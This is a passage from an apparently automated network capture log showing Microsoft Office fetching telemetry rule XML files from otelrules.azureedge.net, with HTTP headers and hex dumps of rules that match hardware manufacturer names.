2024-10-28 07:18:09 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:10 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:10 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: ce95f5ab-001e-0034-242a-27dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071810Z-r197bdfb6b46kdskt78qagqq1c00000004p000000000d15v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:10 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:10 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3201f11f-301e-006e-7658-27f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071810Z-r197bdfb6b4d9xksru4x6qbqr000000004r0000000002gb9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:10 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:10 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: af8b8727-001e-00a2-18f5-24d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071810Z-15b8d89586fvpb597drk06r8fc00000005q0000000007usc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:10 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:10 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: e3c75742-001e-0014-79f3-245151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071810Z-r197bdfb6b4mcssrvu34xzqc5400000004q000000000an2q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:10 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:10 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071810Z-16849878b786fl7gm2qg4r5y7000000004z00000000087p9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:10 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:11 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:11 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:11 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071811Z-16849878b787wpl5wqkt5731b400000005hg000000001cpy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:11 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:11 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:11 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 7ae13fc9-101e-005a-3933-26882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071811Z-17c5cb586f6g6g2sbe6edp75y400000006u0000000002u6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:11 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:11 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:11 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071811Z-16849878b78km6fmmkbenhx76n000000043000000000469m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:11 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:11 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:11 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: e7cc90bd-401e-0029-032a-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071811Z-15b8d89586ff5l62aha9080wv00000000610000000001kvt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:11 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:11 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:11 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: de733a63-101e-00a2-1415-269f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071811Z-17c5cb586f6z6tw6g7cmdv30m800000005wg0000000039ds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:11 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:12 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:12 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071812Z-16849878b78fssff8btnns3b1400000004w000000000gz5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:12 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:12 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
